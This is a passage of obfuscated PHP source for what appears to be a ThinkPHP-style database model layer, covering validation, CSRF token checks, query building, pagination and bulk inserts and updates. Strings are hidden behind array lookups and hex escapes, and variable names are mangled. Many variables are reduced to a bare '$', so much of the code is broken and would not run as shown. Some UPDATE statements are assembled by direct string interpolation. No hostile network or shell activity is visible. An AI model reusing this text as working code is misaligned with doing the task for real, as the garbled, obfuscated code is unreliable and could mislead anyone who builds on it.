THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($ٗ[50], $); } if (think_config($ٗ[374])) { $[] = think_config($ٗ[375]); } foreach ($ as $ר => $ۆ) { if (!in_array($ר, $)) { unset($[$ר]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ٗ[376]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ר => $ۆ) { if (!in_array($ר, $)) { unset($[$ר]); } elseif (MAGIC_QUOTES_GPC && is_string($ۆ)) { $[$ר] = stripslashes($ۆ); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ =& $_SERVER[ׇ]; if (isset($this->options[$[377]]) && !$this->options[$[377]]) { return !0; } if (think_config($[374])) { $ۈ = think_config($[375]); if (!isset($[$ۈ]) || Session::get($ۈ)) { return !1; } list($Ȣ, $ʈ) = explode($[11], $[$ۈ]); if ($ʈ && Session::get($ۈ . $[10] . $Ȣ) === $ʈ) { Session::remove($ۈ . $[10] . $Ȣ); return !0; } if (think_config($[378])) { Session::remove($ۈ . $[10] . $Ȣ); } return !1; } return !0; } public function regex($׳, $) { $Ҕ =& $_SERVER[ׇ]; $ = array($Ҕ[379] => $Ҕ[380], $Ҕ[381] => $Ҕ[382], $Ҕ[383] => $Ҕ[384], $Ҕ[385] => $Ҕ[386], $Ҕ[387] => $Ҕ[388], $Ҕ[389] => $Ҕ[390], $Ҕ[391] => $Ҕ[392], $Ҕ[366] => $Ҕ[393], $Ҕ[394] => $Ҕ[395]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $׳) === 1; } private function autoOperation(&$탞, $ݘ) { $ =& $_SERVER[ׇ]; if (!empty($this->options[$[396]])) { $܍ = $this->options[$[396]]; unset($this->options[$[396]]); } elseif (!empty($this->_auto)) { $܍ = $this->_auto; } if (isset($܍)) { foreach ($܍ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ݘ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[397]: case $[398]: $ї = isset($[4]) ? (array) $[4] : array(); if (isset($탞[$[0]])) { array_unshift($ї, $탞[$[0]]); } if ($[397] == $[3]) { $탞[$[0]] = call_user_func_array($[1], $ї); } else { $탞[$[0]] = call_user_func_array(array(&$this, $[1]), $ї); } break; case $[350]: $탞[$[0]] = $탞[$[1]]; break; case $[399]: if ($[12] === $탞[$[0]]) { unset($탞[$[0]]); } break; case $[400]: default: $탞[$[0]] = $[1]; } if (!1 === $탞[$[0]]) { unset($탞[$[0]]); } } } } return $탞; } protected function autoValidation($̑, $섦) { $ڲ =& $_SERVER[ׇ]; if (!empty($this->options[$ڲ[401]])) { $ӈŮ = $this->options[$ڲ[401]]; unset($this->options[$ڲ[401]]); } elseif (!empty($this->_validate)) { $ӈŮ = $this->_validate; } if (isset($ӈŮ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ӈŮ as $ => $ؕ핔) { if (empty($ؕ핔[5]) || $ؕ핔[5] == THINK_MODEL_BOTH || $ؕ핔[5] == $섦) { if (0 == strpos($ؕ핔[2], $ڲ[402]) && strpos($ؕ핔[2], $ڲ[403])) { $ؕ핔[2] = think_lang(substr($ؕ핔[2], 2, -1)); } $ؕ핔[3] = isset($ؕ핔[3]) ? $ؕ핔[3] : THINK_EXISTS_VALIDATE; $ؕ핔[4] = isset($ؕ핔[4]) ? $ؕ핔[4] : $ڲ[404]; switch ($ؕ핔[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($̑, $ؕ핔)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ڲ[12] != trim($̑[$ؕ핔[0]])) { if (!1 === $this->_validationField($̑, $ؕ핔)) { return !1; } } break; default: if (isset($̑[$ؕ핔[0]])) { if (!1 === $this->_validationField($̑, $ؕ핔)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($퀄, $ՠ) { $熄 =& $_SERVER[ׇ]; switch (strtolower(trim($ՠ[4]))) { case $熄[397]: case $熄[398]: $ = isset($ՠ[6]) ? (array) $ՠ[6] : array(); if (is_string($ՠ[0]) && strpos($ՠ[0], $熄[50])) { $ՠ[0] = explode($熄[50], $ՠ[0]); } if (is_array($ՠ[0])) { foreach ($ՠ[0] as $䄎) { $ǚච[$䄎] = $퀄[$䄎]; } array_unshift($, $ǚච); } else { array_unshift($, $퀄[$ՠ[0]]); } if ($熄[397] == $ՠ[4]) { return call_user_func_array($ՠ[1], $); } else { return call_user_func_array(array(&$this, $ՠ[1]), $); } case $熄[405]: return $퀄[$ՠ[0]] == $퀄[$ՠ[1]]; case $熄[406]: if (is_string($ՠ[0]) && strpos($ՠ[0], $熄[50])) { $ՠ[0] = explode($熄[50], $ՠ[0]); } $ = array(); if (is_array($ՠ[0])) { foreach ($ՠ[0] as $䄎) { $[$䄎] = $퀄[$䄎]; } } else { $[$ՠ[0]] = $퀄[$ՠ[0]]; } if (!empty($퀄[$this->getPk()])) { $[$this->getPk()] = array($熄[407], $퀄[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($퀄[$ՠ[0]], $ՠ[1], $ՠ[4]); } } public function check($¤, $繎, $ِ = "\x72\145\147\x65\x78") { $¡ =& $_SERVER[ׇ]; $ِ = strtolower(trim($ِ)); switch ($ِ) { case $¡[7]: case $¡[408]: $ƪ = is_array($繎) ? $繎 : explode($¡[50], $繎); return $ِ == $¡[7] ? in_array($¤, $ƪ) : !in_array($¤, $ƪ); case $¡[409]: case $¡[410]: if (is_array($繎)) { $ = $繎[0]; $ = $繎[1]; } else { list($, $) = explode($¡[50], $繎); } return $ِ == $¡[409] ? $¤ >= $ && $¤ <= $ : $¤ < $ || $¤ > $; case $¡[411]: case $¡[412]: return $ِ == $¡[411] ? $¤ == $繎 : $¤ != $繎; case $¡[413]: $ǎڔ = mb_strlen($¤, $¡[414]); if (strpos($繎, $¡[50])) { list($, $) = explode($¡[50], $繎); return $ǎڔ >= $ && $ǎڔ <= $; } else { return $ǎڔ == $繎; } case $¡[415]: list($󟷷, $•Γ) = explode($¡[50], $繎); if (!is_numeric($󟷷)) { $󟷷 = strtotime($󟷷); } if (!is_numeric($•Γ)) { $•Γ = strtotime($•Γ); } return NOW_TIME >= $󟷷 && NOW_TIME <= $•Γ; case $¡[416]: return in_array(get_client_ip(), explode($¡[50], $繎)); case $¡[417]: return !in_array(get_client_ip(), explode($¡[50], $繎)); case $¡[404]: default: return $this->regex($¤, $繎); } } public function query($ӏ, $͖ = false) { $潙 =& $_SERVER[ׇ]; if (!is_bool($͖) && !is_array($͖)) { $͖ = func_get_args(); array_shift($͖); } $ӏ = str_replace(array($潙[262], $潙[418]), $潙[53], $ӏ); $ӏ = $this->parseSql($ӏ, $͖); return $this->db->query($ӏ); } public function execute($⣕Ǔ, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $⣕Ǔ = $this->parseSql($⣕Ǔ, $); return $this->db->execute($⣕Ǔ); } protected function parseSql($ƺ, $) { $ =& $_SERVER[ׇ]; if (!0 === $) { $ĕ = $this->_parseOptions(); $ƺ = $this->db->parseSql($ƺ, $ĕ); } elseif (is_array($)) { $ = array_map(array($this->db, $[419]), $); $ƺ = vsprintf($ƺ, $); } else { $ƺ = strtr($ƺ, array($[420] => $this->getTableName(), $[421] => think_config($[321]))); } $this->db->setModel($this->name); return $ƺ; } public function db($ = '', $ = '', $Ҙ = array()) { $ءЩ =& $_SERVER[ׇ]; if ($ءЩ[12] === $ && $this->db) { return $this->db; } static $娯 = array(); static $ = array(); if (!isset($[$]) || isset($[$]) && $ && $娯[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $ءЩ[8])) { $ = think_config($); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[$]); return; } if (!empty($Ҙ)) { if (is_string($Ҙ)) { parse_str($Ҙ, $Ҙ); } foreach ($Ҙ as $ => $떹) { $this->setProperty($, $떹); } } $娯[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ԯ = get_class($this); if ($ԯ == $_SERVER[ׇ][422]) { return $this->name; } $this->name = substr($ԯ, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[ׇ]; if (empty($this->trueTableName)) { $ԥЙ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ԥЙ .= $this->tableName; } else { $ԥЙ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ԥЙ); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ć =& $_SERVER[ׇ]; return isset($this->fields[$ć[328]]) ? $this->fields[$ć[328]] : $this->pk; } public function getDbFields() { $ࢤ =& $_SERVER[ׇ]; if (isset($this->options[$ࢤ[356]])) { $Ȃ = $this->db->getFields($this->options[$ࢤ[356]]); return $Ȃ ? array_keys($Ȃ) : !1; } if ($this->fields) { $Ȃ = $this->fields; unset($Ȃ[$ࢤ[327]], $Ȃ[$ࢤ[328]], $Ȃ[$ࢤ[329]], $Ȃ[$ࢤ[326]]); return $Ȃ; } return !1; } public function data($ = '') { $߬ =& $_SERVER[ׇ]; if ($߬[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($߬[348])); } $this->data = $; return $this; } public function join($̡) { $ =& $_SERVER[ׇ]; if (is_array($̡)) { $this->options[$[359]] = $̡; } elseif (!empty($̡)) { $this->options[$[359]][] = $̡; } return $this; } public function union($؟, $ = false) { $袐 =& $_SERVER[ׇ]; if (empty($؟)) { return $this; } if ($) { $this->options[$袐[423]][$袐[424]] = !0; } if (is_object($؟)) { $؟ = get_object_vars($؟); } if (is_string($؟)) { $Å̮ = $؟; } elseif (is_array($؟)) { if (isset($؟[0])) { $this->options[$袐[423]] = array_merge($this->options[$袐[423]], $؟); return $this; } else { $Å̮ = $؟; } } else { think_exception(think_lang($袐[348])); } $this->options[$袐[423]][] = $Å̮; return $this; } public function cache($ = true, $խř = null, $ = '') { $ϧ =& $_SERVER[ׇ]; if (!1 !== $) { $this->options[$ϧ[425]] = array($ϧ[97] => $, $ϧ[415] => $խř, $ϧ[33] => $); } return $this; } public function field($Ŭ, $͔ = false) { $ =& $_SERVER[ׇ]; if (!0 === $Ŭ) { $ȕ = $this->getDbFields(); $Ŭ = $ȕ ? $ȕ : $[220]; } elseif ($͔) { if (is_string($Ŭ)) { $Ŭ = explode($[50], $Ŭ); } $ȕ = $this->getDbFields(); $Ŭ = $ȕ ? array_diff($ȕ, $Ŭ) : $Ŭ; } $this->options[$[350]] = $Ŭ; return $this; } public function scope($Կ = '', $ô = NULL) { $㮾 =& $_SERVER[ׇ]; if ($㮾[12] === $Կ) { if (isset($this->_scope[$㮾[37]])) { $鎆 = $this->_scope[$㮾[37]]; } else { return $this; } } elseif (is_string($Կ)) { $ = explode($㮾[50], $Կ); $鎆 = array(); foreach ($ as $”) { if (!isset($this->_scope[$”])) { continue; } $鎆 = array_merge($鎆, $this->_scope[$”]); } if (!empty($ô) && is_array($ô)) { $鎆 = array_merge($鎆, $ô); } } elseif (is_array($Կ)) { $鎆 = $Կ; } if (is_array($鎆) && !empty($鎆)) { $this->options = array_merge($this->options, array_change_key_case($鎆)); } return $this; } public function where($, $ = null) { $Ȩ䝻 =& $_SERVER[ׇ]; if (!is_null($) && is_string($)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $Ȩ䝻[419]), $); $ = vsprintf($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $뼃 => $) { if ((is_numeric($뼃) || !$뼃) && is_string($)) { if (strpos($, $Ȩ䝻[426]) === 0) { continue; } think_trace($Ȩ䝻[427], $Ȩ䝻[12], $Ȩ䝻[49]); die; } } } if (is_string($) && $Ȩ䝻[12] != $) { $ʘ = array(); $ʘ[$Ȩ䝻[428]] = $; $ = $ʘ; } if (isset($this->options[$Ȩ䝻[352]])) { $this->options[$Ȩ䝻[352]] = array_merge($this->options[$Ȩ䝻[352]], $); } else { $this->options[$Ȩ䝻[352]] = $; } return $this; } public function limit($, $ױ = null) { $ =& $_SERVER[ׇ]; $this->options[$[368]] = is_null($ױ) ? $ : $ . $[50] . $ױ; return $this; } public function page($Ѹ, $͖ = null) { $ʩ =& $_SERVER[ׇ]; $this->options[$ʩ[429]] = is_null($͖) ? $Ѹ : $Ѹ . $ʩ[50] . $͖; return $this; } public function comment($⽶׷) { $this->options[$_SERVER[ׇ][430]] = $⽶׷; return $this; } public function setProperty($ر, $) { if (property_exists($this, $ر)) { $this->{$ر} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\x64\151\x66\171\124\151\155\x65", "\x74\151\155\x65", "\x69\x6e\163\145\x72\164\x2c\165\160\x64\141\x74\x65", "\x66\x75\156\143\164\x69\157\156"), array("\x63\x72\145\x61\x74\x65\124\151\x6d\145", "\164\x69\155\x65", "\x69\x6e\163\145\x72\x74", "\x66\165\156\143\x74\151\157\156")); public function setDataAuto($ܓ) { $this->dataAuto = $ܓ; } public function __construct($։ = '', $ = '', $ = '') { parent::__construct($։, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$涀, $ͻ) { $ =& $_SERVER[ׇ]; if (!$this->checkDataAutoHas($[431])) { return; } $this->dataBeforeFilter($涀, $[431]); } protected function _beforeUpdate(&$ڄ, $؍) { $ឲ =& $_SERVER[ׇ]; if (!$this->checkDataAutoHas($ឲ[432])) { return; } $this->dataBeforeFilter($ڄ, $ឲ[432]); } protected function _afterSelect(&$ͺİ, $쟚) { if (!is_array($ͺİ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ׇ][433])) { return; } foreach ($ͺİ as &$̴) { $this->dataAfterFilter($̴); } unset($̴); } protected function _afterFind(&$矖, $ڦ) { if (!is_array($矖)) { return; } if (!$this->checkDataAutoHas($_SERVER[ׇ][433])) { return; } $this->dataAfterFilter($矖); } public static function textEncode($ɾ) { if (!$ɾ) { return $ɾ; } $ʗκ = json_encode($ɾ); $ʗκ = preg_replace_callback($_SERVER[ׇ][434], function ($˙) { return addslashes($˙[0]); }, $ʗκ); return json_decode($ʗκ); } public static function textDecode($) { $څ =& $_SERVER[ׇ]; $ = json_encode($); $ = preg_replace_callback($څ[435], function ($) { return $_SERVER[ׇ][100]; }, $); return json_decode($); } public function setAutoIncrement($Ȳ) { $ = array($this->getPk() => $Ȳ); $ศ = $this->data($)->add(); if ($ศ) { $this->delete($ศ); } } public function getAutoIncrement() { $މ䧲 = $this->getTableName(); $ވ = $this->max($this->getPk()); $Ί = $this->query("\x73\150\157\167\40\x74\x61\142\x6c\145\x20\x73\164\141\164\x75\163\x20\x77\x68\x65\162\x65\40\116\141\x6d\x65\x3d\x27{$މ䧲}\47"); $٩ = $Ί[0][$_SERVER[ׇ][436]]; $ = max($ވ, $٩); return $; } protected function _callBefore($ɀ, $) { return $this->cacheCallCheck($ɀ, $, !1); } protected function _callAfter($, $ޏ) { return $this->cacheCallCheck($, $ޏ, !0); } protected function cacheFunctionAlias($ᏼ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ʕ, $Ѻ, $ϻ = false) { $蟗 = $this->cacheFunctionAlias($Ѻ); if (!$蟗) { return; } foreach ($蟗 as $ => $ŏӀ) { $ܥܑ = $ŏӀ[0]; $׍ = explode($_SERVER[ׇ][50], $ŏӀ[1]); if ($ʕ == $) { return $this->cacheFunctionGet($, $ܥܑ); } if ($ϻ && in_array($ʕ, $׍)) { $this->cacheFunctionClear($, $ܥܑ); } } } public function cacheFunctionGet($ؿ, $Č) { $ = $this->cacheKeyMake($ؿ, $Č); $ܞ = Cache::get($); if (!is_array($ܞ)) { $ܞ = call_user_func_array(array($this, $ؿ), array($Č, !0)); Cache::set($, $ܞ); } return $ܞ; } public function cacheFunctionClear($, $) { $좑 = $; if (!is_array($)) { $좑 = array($); } foreach ($좑 as $݄) { $ = $this->cacheKeyMake($, $݄); Cache::remove($); } } private function cacheKeyMake($؃ړ, $) { $ǁ =& $_SERVER[ׇ]; return get_class($this) . $ǁ[11] . $؃ړ . $ǁ[437] . $; } protected function selectPageReset() { $ө =& $_SERVER[ׇ]; if (isset($GLOBALS[$ө[438]])) { return; } $GLOBALS[$ө[438]] = isset($GLOBALS[$ө[7]][$ө[439]]) ? $GLOBALS[$ө[7]][$ө[439]] : !1; $GLOBALS[$ө[440]] = isset($GLOBALS[$ө[7]][$ө[429]]) ? $GLOBALS[$ө[7]][$ө[429]] : !1; $GLOBALS[$ө[7]][$ө[439]] = !1; $GLOBALS[$ө[7]][$ө[429]] = !1; } protected function selectPageRestore() { $² =& $_SERVER[ׇ]; if (!isset($GLOBALS[$²[438]])) { return; } $GLOBALS[$²[7]][$²[439]] = $GLOBALS[$²[438]]; $GLOBALS[$²[7]][$²[429]] = $GLOBALS[$²[440]]; if ($GLOBALS[$²[7]][$²[439]] === !1) { unset($GLOBALS[$²[7]][$²[439]]); } if ($GLOBALS[$²[7]][$²[429]] === !1) { unset($GLOBALS[$²[7]][$²[429]]); } unset($GLOBALS[$²[438]]); unset($GLOBALS[$²[440]]); } protected function selectPage($ = 200, $ = 1) { $Ŝ =& $_SERVER[ׇ]; global $in; $Ό = $this->optionsValue(); $җ = 50000; $ = isset($in[$Ŝ[439]]) && $in[$Ŝ[439]] ? $in[$Ŝ[439]] : $; if ($ === -1) { $in[$Ŝ[439]] = !1; $җ = 100000000; $ = $җ; } $Ñ = $Ό; $Ñ[$Ŝ[441]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $җ ? $җ : $); $ = intval(isset($in[$Ŝ[429]]) && $in[$Ŝ[429]] ? $in[$Ŝ[429]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $ݩ = 1; if ($ == 1 && $ݩ) { $this->optionsValue($Ό); $ = $this->page($, $)->select(); $ = is_array($) ? count($) : 0; if ($ < $) { $ޜ = 1; } else { $this->optionsValue($Ñ); $ = intval($this->count()); $ޜ = ceil($ / $); } } else { $this->optionsValue($Ñ); $ = intval($this->count()); $ޜ = ceil($ / $); $ = $ >= $ޜ ? $ޜ : $; $this->optionsValue($Ό); $ = $this->page($, $)->select(); } if (!is_array($)) { $ = array(); } if ($ޜ == 1) { $ = count($); } $ = array($Ŝ[442] => array($Ŝ[443] => $, $Ŝ[439] => $, $Ŝ[429] => $, $Ŝ[444] => $ޜ), $Ŝ[445] => $); return $; } protected function checkLength($ת, $׏ = 0, $쎊 = '') { $ =& $_SERVER[ׇ]; $׏ = $׏ ? $׏ : 65536; if (!$ת || strlen($ת) < $׏) { return; } $쎊 = $쎊 ? $쎊 . $[74] : $[12]; show_json($쎊 . LNG($[446]) . "\x28{$׏}\x29", !1); } protected function metaSet($, $̚ = null, $љ = null) { $ҌĮ =& $_SERVER[ׇ]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$ҌĮ[447]]; $됣Ѥ = $this->tableMeta[$ҌĮ[448]]; $֎ = Model($됣Ѥ); $Ƭ = array($ => $, $ҌĮ[449] => $̚); if (is_null($̚)) { return $֎->where(array($ => $))->delete(); } if (is_null($љ) && is_string($̚)) { return $֎->where($Ƭ)->delete(); } $ɿ = is_array($̚) ? $̚ : array(); if (is_string($̚)) { $ɿ[$̚] = $љ; } $έ = array(); foreach ($ɿ as $ => $ą) { if (is_null($ą) && is_string($)) { $֎->where(array($ => $, $ҌĮ[449] => $))->delete(); continue; } $this->checkLength($ą, !1, $됣Ѥ . $ҌĮ[4] . $); $έ[] = array($ => $, $ҌĮ[97] => $, $ҌĮ[450] => $ą); } $ = $ҌĮ[451] . $됣Ѥ; CacheLock::lock($); $֎->where(array($ => $))->addAll($έ, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $⶙ = false) { $ =& $_SERVER[ׇ]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[447]]; $֭ = Model($this->tableMeta[$[448]]); if ($⶙) { $§ = array($ => $, $[97] => $⶙); return $֭->where($§)->getField($[450]); } $§ = array($ => $); $㈵ = $֭->field($[452])->where($§)->select(); $㈵ = array_to_keyvalue($㈵, $[97], $[450]); return $㈵; } private function checkDataAutoHas($󨸗) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($󨸗, explode($_SERVER[ׇ][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ʕ, $) { $Ё =& $_SERVER[ׇ]; if (!is_array($ʕ)) { return; } foreach ($this->dataAuto as $Ǵ) { $ = $Ǵ[0]; if (!in_array($, explode($Ё[50], $Ǵ[2]))) { continue; } switch (trim($Ǵ[3])) { case $Ё[397]: case $Ё[398]: $񀙊 = $Ǵ[1]; $Ԟ = isset($Ǵ[4]) ? (array) $Ǵ[4] : array(); if ($񀙊 == $Ё[206] && array_key_exists($, $ʕ)) { if (!$ʕ[$]) { unset($ʕ[$]); } break; } if (isset($ʕ[$])) { array_unshift($Ԟ, $ʕ[$]); } if ($Ё[397] == $Ǵ[3]) { $ʕ[$] = call_user_func_array($񀙊, $Ԟ); } else { $ʕ[$] = call_user_func_array(array(&$this, $񀙊), $Ԟ); } break; case $Ё[347]: if (isset($ʕ[$]) && $ʕ[$]) { $ʕ[$] = call_user_func_array(array(&$this, $Ǵ[1]), array($ʕ[$])); } break; case $Ё[350]: $ʕ[$] = $ʕ[$Ǵ[1]]; break; case $Ё[370]: if (isset($ʕ[$]) && !is_string($ʕ[$])) { $ʕ[$] = json_encode_force($ʕ[$]); } break; case $Ё[399]: if ($ʕ[$] === $Ё[12]) { unset($ʕ[$]); } break; case $Ё[400]: $ʕ[$] = $Ǵ[1]; default: break; } } if ($ == $Ё[431]) { $ؓ = strtolower($this->db->getDbType()); if (strpos($ؓ, $Ё[13]) !== 0) { return; } $̡ = $this->field(!0)->fields; $˺ = $̡[$Ё[329]]; if (isset($̡[$Ё[328]])) { unset($˺[$̡[$Ё[328]]]); } foreach ($˺ as $ؚ => $) { if (!isset($ʕ[$ؚ])) { $ʕ[$ؚ] = $Ё[12]; } } } } private function dataAfterFilter(&$푬) { $⬜ =& $_SERVER[ׇ]; foreach ($this->dataAuto as $ς) { $Ů = $ς[0]; if (!isset($푬[$Ů])) { continue; } if (!in_array($⬜[433], explode($⬜[50], $ς[2]))) { continue; } switch (trim($ς[3])) { case $⬜[397]: case $⬜[398]: $ = isset($ς[4]) ? (array) $ς[4] : array(); array_unshift($, $푬[$Ů]); if (isset($ς[4]) && $ς[4] == $⬜[453]) { $ = array($푬[$Ů]); } if ($⬜[397] == $ς[3]) { $푬[$Ů] = call_user_func_array($ς[1], $); } else { $푬[$Ů] = call_user_func_array(array(&$this, $ς[1]), $); } break; case $⬜[347]: if (isset($푬[$Ů]) && $푬[$Ů]) { $푬[$Ů] = call_user_func_array(array(&$this, $ς[1]), array($푬[$Ů])); } break; case $⬜[350]: $푬[$Ů] = $푬[$ς[1]]; break; case $⬜[370]: $餽ȷ = $푬[$Ů]; $푬[$Ů] = json_decode($餽ȷ, !0); if (is_null($푬[$Ů])) { $푬[$Ů] = $餽ȷ; } break; case $⬜[399]: if ($푬[$Ů] === $⬜[12]) { unset($푬[$Ů]); } break; case $⬜[400]: $푬[$Ů] = $ς[1]; break; default: break; } } } public function saveAll($Ц) { $մ =& $_SERVER[ׇ]; $Ɓߧ = $this->tablePrefix . $this->tableName; $뾻 = self::SQL_WHERE_IN_CHUNK; $Ц = is_array($Ц) ? $Ц : array(); $ޒ = $մ[454]; $ = 0; $Ș = array(); $ȑ = count($Ц); for ($ = 0; $ < $ȑ; $++) { $Ɖ = $Ц[$]; if (!is_array($Ɖ) || count($Ɖ) != 4) { continue; } $ = "\125\120\104\101\x54\105\40\x60{$Ɓߧ}\x60\40\123\105\x54\x20{$Ɖ[2]}\x20\x3d\40\x43\x41\123\105\x20{$Ɖ[0]}\x20\xa"; if ($ == 0) { $ޒ = $; } $Ș[] = $մ[121] . $Ɖ[1] . $մ[121]; $++; $ޒ .= "\x20\x57\110\x45\x4e\40\47{$Ɖ[1]}\47\40\124\110\105\x4e\40\47{$Ɖ[3]}\47\x20\xa"; if ($ == $뾻 || $ == $ȑ - 1) { $ = implode($մ[50], $Ș); $ޒ .= "\x20\105\116\x44\40\40\127\110\105\x52\105\x20{$Ɖ[0]}\x20\111\x4e\40\x28{$}\51\40"; $this->execute($ޒ); $ = 0; $ޒ = $; $this->chunkEventCheck(count($Ș)); $Ș = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[ׇ]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $񰫃) { if (!is_array($񰫃) || count($񰫃) != 4) { continue; } $ = $񰫃[0] . $[455] . $񰫃[1] . $[121]; $ټ = $񰫃[2] . $[455] . $񰫃[3] . $[121]; $ӛ = "\x75\160\144\141\x74\145\40{$}\40\x73\x65\x74\x20{$ټ}\x20\x77\150\145\x72\x65\40{$}\73"; $this->execute($ӛ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ʑ = false, $ = false) { $this->_chunkEvent = $ʑ; $this->_chunkEventParam = $; } private function chunkEventCheck($݃) { if (!$this->_chunkEvent) { return; } $ᰏɿ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ᰏɿ[$_SERVER[ׇ][456]] = $݃; Hook::trigger($this->_chunkEvent, $ᰏɿ); } public function addAll($, $ = array(), $ٛ = false) { $Ĵ =& $_SERVER[ׇ]; ignore_timeout(); $ɫ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($Ĵ[348]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $œ) { $[$] = $this->_facade($œ); $this->_beforeInsert($[$], $); } if (method_exists($this->db, $Ĵ[349])) { for ($ = 0; $ < count($); $ += $ɫ) { $ = array_slice($, $, $ɫ); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $ٛ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $œ) { $ = $this->db->insert($œ, $, $ٛ); } $this->commit(); } if (!1 !== $) { $妞 = $this->getLastInsID(); if ($妞) { return $妞; } } return $; } public function save($З = '', $˷ؙ = array()) { $ӂ =& $_SERVER[ׇ]; $佡 = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ա = $this->findWhereField($); if (!$ա) { return parent::save($З, $˷ؙ); } $IJ = 0; $ꠂ = $[$ӂ[352]][$ա][1]; $ꠂ = is_array($ꠂ) ? $ꠂ : array(); $ϭݞ = count($ꠂ); for ($ = 0; $ < $ϭݞ; $ += $佡) { $Ѧ = array_slice($ꠂ, $, $佡); if (!is_array($Ѧ) || count($Ѧ) == 0) { break; } $[$ӂ[352]][$ա][1] = $Ѧ; $this->optionsValue($); $IJ += parent::save($З, $˷ؙ); $this->chunkEventCheck(count($Ѧ)); } $this->chunkEventSet(); return $IJ; } public function add($͑ = '', $ӡΙ = array(), $ = false) { if ($this->addTaskStatus && is_array($͑)) { $this->addTaskData[] = $͑; return; } return parent::add($͑, $ӡΙ, $); } public function parseWhereLike($, $ = '', $ = false, &$煩 = false) { $Ǽ =& $_SERVER[ׇ]; $ԅӭ = $GLOBALS[$Ǽ[6]][$Ǽ[457]]; if (!$ԅӭ[$Ǽ[458]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ͬ = 0; foreach ($ as $֏ʗ => $) { if (is_array($) && count($) == 2 && $[0] == $Ǽ[459] && is_string($[1]) && substr($[1], 0, 1) == $Ǽ[460] && substr($[1], strlen($[1]) - 1, 1) == $Ǽ[460]) { $煩 = !0; $ɕЊ = is_string($֏ʗ) ? $֏ʗ : $; $ݛ = substr($[1], 1, strlen($[1]) - 2); $ݛ = $this->db->escapeString($ݛ); if (!strpos($ɕЊ, $Ǽ[10])) { $ɕЊ = $Ǽ[461] . $ɕЊ . $Ǽ[461]; } $豖 = $Ǽ[220] . $ݛ . $Ǽ[220]; $ݛ = str_replace(array($Ǽ[10], $Ǽ[462], $Ǽ[11]), $Ǽ[463], $ݛ); if ($ԅӭ[$Ǽ[464]]) { $豖 = $Ǽ[465] . $ݛ . $Ǽ[466]; if ($ԅӭ[$Ǽ[467]]) { $豖 = $Ǽ[466] . $ݛ . $Ǽ[465]; } } $[$ͬ] = $Ǽ[468] . $ɕЊ . $Ǽ[469] . $豖 . $Ǽ[470]; $ͬ++; continue; } if (is_array($)) { $ = is_string($֏ʗ) ? $֏ʗ : $; $ = $this->parseWhereLike($, $, !0, $煩); } if (is_numeric($֏ʗ)) { $[$ͬ] = $; $ͬ++; } else { $[$֏ʗ] = $; } } if ($煩 && !$) { } return $; } private 